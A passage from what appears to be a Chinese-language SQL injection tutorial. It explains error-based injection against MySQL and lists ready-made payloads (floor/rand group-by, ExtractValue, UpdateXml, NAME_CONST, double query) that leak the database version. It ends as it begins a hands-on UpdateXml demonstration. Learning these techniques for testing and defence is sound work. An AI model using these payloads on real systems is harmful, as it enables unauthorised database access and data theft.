图1 获取数据库失败
此时我们可以考虑下是否是显错注入,对于显错注入我们可以使用mysql显错注入函数进行查询数据库信息。
通过floor报错:
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)and (select count(*) from (select 1 union select null union select !1)x group by concat((select version()),floor(rand(0)*2))) 通过ExtractValue报错:
and extractvalue(1, concat(0x7f, (select version()),0x7f)) 通过UpdateXml报错:
and 1=(updatexml(1,concat(0x7f,(select version()),0x7f),1)) 通过NAME_CONST报错:
and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x) 通过错误的双重查询:
or 1 group by concat_ws(0x7f,version(),floor(rand(0)*2)) having min(0) or 1 在这里我们以UpdateXml报错进行实战演示,如图2是一个显错注入点。